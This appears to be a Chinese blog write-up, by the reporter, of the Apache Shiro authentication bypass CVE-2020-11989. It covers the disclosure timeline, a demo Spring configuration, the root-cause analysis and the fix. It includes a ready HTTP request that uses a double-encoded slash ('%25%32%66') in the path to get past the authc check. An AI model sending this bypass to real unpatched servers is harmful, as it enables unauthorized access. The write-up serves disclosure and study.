Shiro身份验证绕过漏洞(CVE-2020-11989)细节

这个洞是当时公布CVE-2020-1957后分析之后想到的一种绕过方法，因为有一定限制，所以感觉实际影响不大也就留了一两个月没报。比较有意思的是我在5月把它报给官方，但一直没有回复后来也就忘了，六月中旬我想起来发邮件提醒了一下Shiro官方，很快收到了回应。

看起来是他们错过了这封邮件，所以最近才处理完这个漏洞。正好这几天公布后也有几个朋友问这个洞，虽然我觉得用处不大，但思路其实还是比较有意思的，所以也分享一下吧。（当然我这里只给了一个简单的场景，有兴趣的可以继续研究一下它还有哪些场景以及利用方法）

介绍

when using Apache Shiro with Spring dynamic controllers, a specially crafted request may cause an authentication bypass.

细节

（以下内容主要翻译自邮件）

编写如下代码

@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }
 
    @Bean
    SecurityManager securityManager() {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }
 
    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager());
        bean.setLoginUrl("/login");
        bean.setSuccessUrl("/index");
        bean.setUnauthorizedUrl("/unauthorizedurl");
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/hello/*", "authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }
}
 

@GetMapping("/hello/{name}")
public String hello(@PathVariable String name) {
    return "hello";
}
 

以上操作代表着我通过ant风格的语法设置了去检查在访问 /hello 路由之后的一级目录的用户是否有权限。

如果你请求 /hello/aaa 那么你将会被禁止。

但是这里我们可以通过url双编码来绕过。

/ -> %2f ->%25%32%66
 

GET /hello/a%25%32%66a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
 

现在它成功了

当然这个漏洞需要一些限制条件，首先权限ant风格的配置需要是 * 而不是 ** ，同时controller需要接收的request参数(@PathVariable)的类型需要是String，否则将会出错。

简单的分析一下：

当我们的请求进入应用后会进行第一次的url解码

%25%32%66 -> %2f
 

接着当进入到shiro的 org.apache.shiro.web.util.WebUtils#getPathWithinApplication 采用的是 getRequestUri 方法同时里面会调用到 decodeRequestString 进行再一次的解码。

%2f -> /
 

可以看到这里就造成了和Spring的uri处理不一致的问题，也就导致了接下来的问题。

当进入到 org.apache.shiro.util.AntPathMatcher#doMatch 去匹配是否符合我们之前定义的权限路由 /hello/*

doMatch 的代码有点杂这里就不放了，感兴趣的可以自己去跟一下逻辑。简单来说就是这里可以看到path成了 /hello/a/a ，hello后有两个 / ，所以跳过了这次的判断，导致了身份验证绕过。

总结一下，当进入应用后我们的请求页面被解析成 /hello/a%2fa ，所以它可以进入到spring controller中的 /hello/{name} ，

但是因为shiro再次做了url解码，导致判断的uri成为了 /hello/a/a 它不属于我们配置的权限判断地址 /hello/* 。

因此造成了绕过，核心原理可以归因为是shiro与spring对RFC标准实现的差异导致（实际上就是shiro实现错了）。

修复

采用了标准的 getServletPath(request) + getPathInfo(request) 同时不再进行url解码。